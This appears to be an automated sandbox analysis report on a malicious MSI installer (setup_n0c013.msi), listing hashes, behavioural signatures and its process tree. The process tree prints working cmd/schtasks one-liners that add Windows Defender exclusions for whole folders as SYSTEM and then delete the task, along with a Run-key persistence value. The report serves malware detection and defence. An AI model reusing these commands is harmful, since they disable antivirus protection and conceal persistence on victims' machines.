Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 05:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c013.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c013.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target setup_n0c013.msi
- Size 9.6MB
- Sample260804-gm3wpasdma
- SHA256 52793c228aafdae94c86e5f71c96ff4fdaca1c95f66e44fddd9d7806f4a51dea
- MD5 84aca7001bf015a483e745bfbb4b868f
- SHA1 71c0eac260e8d794d0b9ce220b1452f637acf13f
- SHA512 8e7fe717a5d47689cd26782319c38ece5e75b4fd7d07634610a31998cd09d9b22fba37fb726fb8375ca021ac6a8a2d3c158115774da94a84f48bce948db0dec0
- SSDEEP 196608:K7SnDN9VA2YmcXizV05J+NkNMQ6b7Dds/RcvEDUQPyb5Al:7Da2ZiizsJzGbC/SEV6bCl
- TLSH T1BFA633D8689A63B8D09BC3B0C153B8AE712D7FC67E6F990677E837401D3172600B6B95
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\z7Pi8a = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation vXyhpx.exe - Executes dropped EXE 1 IoCs
pid Process 2696 vXyhpx.exe - Loads dropped DLL 2 IoCs
pid Process 5052 MsiExec.exe 2696 vXyhpx.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\z7Pi8a\\vXyhpx.exe\"" vXyhpx.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 22 5052 MsiExec.exe 33 5052 MsiExec.exe 35 5052 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3820 cmd.exe 4556 cmd.exe 4196 cmd.exe 2792 cmd.exe 3524 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b vXyhpx.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI6221.tmp msiexec.exe File created C:\Windows\Installer\e58605b.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI6193.tmp msiexec.exe File created C:\Windows\Installer\e58605d.msi msiexec.exe File opened for modification C:\Windows\Installer\e58605b.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3620 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1688 cmd.exe 4552 cmd.exe 1536 cmd.exe 1068 cmd.exe 4164 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "9339C0BE5AC9976449843C866665F2B9" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c013.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2356 schtasks.exe 4336 schtasks.exe 4988 schtasks.exe 4156 schtasks.exe 2928 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 548 msiexec.exe 548 msiexec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 5052 MsiExec.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe 2696 vXyhpx.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3620 msiexec.exe Token: SeIncreaseQuotaPrivilege 3620 msiexec.exe Token: SeSecurityPrivilege 548 msiexec.exe Token: SeCreateTokenPrivilege 3620 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3620 msiexec.exe Token: SeLockMemoryPrivilege 3620 msiexec.exe Token: SeIncreaseQuotaPrivilege 3620 msiexec.exe Token: SeMachineAccountPrivilege 3620 msiexec.exe Token: SeTcbPrivilege 3620 msiexec.exe Token: SeSecurityPrivilege 3620 msiexec.exe Token: SeTakeOwnershipPrivilege 3620 msiexec.exe Token: SeLoadDriverPrivilege 3620 msiexec.exe Token: SeSystemProfilePrivilege 3620 msiexec.exe Token: SeSystemtimePrivilege 3620 msiexec.exe Token: SeProfSingleProcessPrivilege 3620 msiexec.exe Token: SeIncBasePriorityPrivilege 3620 msiexec.exe Token: SeCreatePagefilePrivilege 3620 msiexec.exe Token: SeCreatePermanentPrivilege 3620 msiexec.exe Token: SeBackupPrivilege 3620 msiexec.exe Token: SeRestorePrivilege 3620 msiexec.exe Token: SeShutdownPrivilege 3620 msiexec.exe Token: SeDebugPrivilege 3620 msiexec.exe Token: SeAuditPrivilege 3620 msiexec.exe Token: SeSystemEnvironmentPrivilege 3620 msiexec.exe Token: SeChangeNotifyPrivilege 3620 msiexec.exe Token: SeRemoteShutdownPrivilege 3620 msiexec.exe Token: SeUndockPrivilege 3620 msiexec.exe Token: SeSyncAgentPrivilege 3620 msiexec.exe Token: SeEnableDelegationPrivilege 3620 msiexec.exe Token: SeManageVolumePrivilege 3620 msiexec.exe Token: SeImpersonatePrivilege 3620 msiexec.exe Token: SeCreateGlobalPrivilege 3620 msiexec.exe Token: SeBackupPrivilege 1476 vssvc.exe Token: SeRestorePrivilege 1476 vssvc.exe Token: SeAuditPrivilege 1476 vssvc.exe Token: SeBackupPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeBackupPrivilege 4008 srtasks.exe Token: SeRestorePrivilege 4008 srtasks.exe Token: SeSecurityPrivilege 4008 srtasks.exe Token: SeTakeOwnershipPrivilege 4008 srtasks.exe Token: SeBackupPrivilege 4008 srtasks.exe Token: SeRestorePrivilege 4008 srtasks.exe Token: SeSecurityPrivilege 4008 srtasks.exe Token: SeTakeOwnershipPrivilege 4008 srtasks.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe Token: SeTakeOwnershipPrivilege 548 msiexec.exe Token: SeRestorePrivilege 548 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3620 msiexec.exe 3620 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 548 wrote to memory of 4008 548 msiexec.exe 98 PID 548 wrote to memory of 5052 548 msiexec.exe 100 PID 2696 wrote to memory of 3820 2696 vXyhpx.exe 106 PID 3820 wrote to memory of 2356 3820 cmd.exe 109 PID 3820 wrote to memory of 2512 3820 cmd.exe 110 PID 3820 wrote to memory of 2384 3820 cmd.exe 113 PID 1068 wrote to memory of 860 1068 cmd.exe 114 PID 2696 wrote to memory of 4556 2696 vXyhpx.exe 116 PID 4556 wrote to memory of 4336 4556 cmd.exe 118 PID 4556 wrote to memory of 2160 4556 cmd.exe 120 PID 4556 wrote to memory of 4820 4556 cmd.exe 123 PID 4164 wrote to memory of 452 4164 cmd.exe 124 PID 2696 wrote to memory of 4196 2696 vXyhpx.exe 125 PID 4196 wrote to memory of 4988 4196 cmd.exe 127 PID 4196 wrote to memory of 4188 4196 cmd.exe 128 PID 1688 wrote to memory of 4912 1688 cmd.exe 131 PID 4196 wrote to memory of 1264 4196 cmd.exe 132 PID 2696 wrote to memory of 2792 2696 vXyhpx.exe 133 PID 2792 wrote to memory of 4156 2792 cmd.exe 135 PID 2792 wrote to memory of 3756 2792 cmd.exe 136 PID 4552 wrote to memory of 4076 4552 cmd.exe 139 PID 2792 wrote to memory of 3620 2792 cmd.exe 140 PID 2696 wrote to memory of 3524 2696 vXyhpx.exe 141 PID 3524 wrote to memory of 2928 3524 cmd.exe 143 PID 3524 wrote to memory of 2108 3524 cmd.exe 144 PID 1536 wrote to memory of 2340 1536 cmd.exe 147 PID 3524 wrote to memory of 4916 3524 cmd.exe 148 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c013.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3620
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4008
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1A346CEC99CCEE77AD69C9F1DD1DF2BC E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5052
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1476
-
C:\Users\Public\z7Pi8a\vXyhpx.exeC:\Users\Public\z7Pi8a\vXyhpx.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z7Pi8a\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z7Pi8a\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2356
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2512
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4336
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2160
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4988
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4188
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4156
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3756
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2928
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2108
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4916
-
-
-
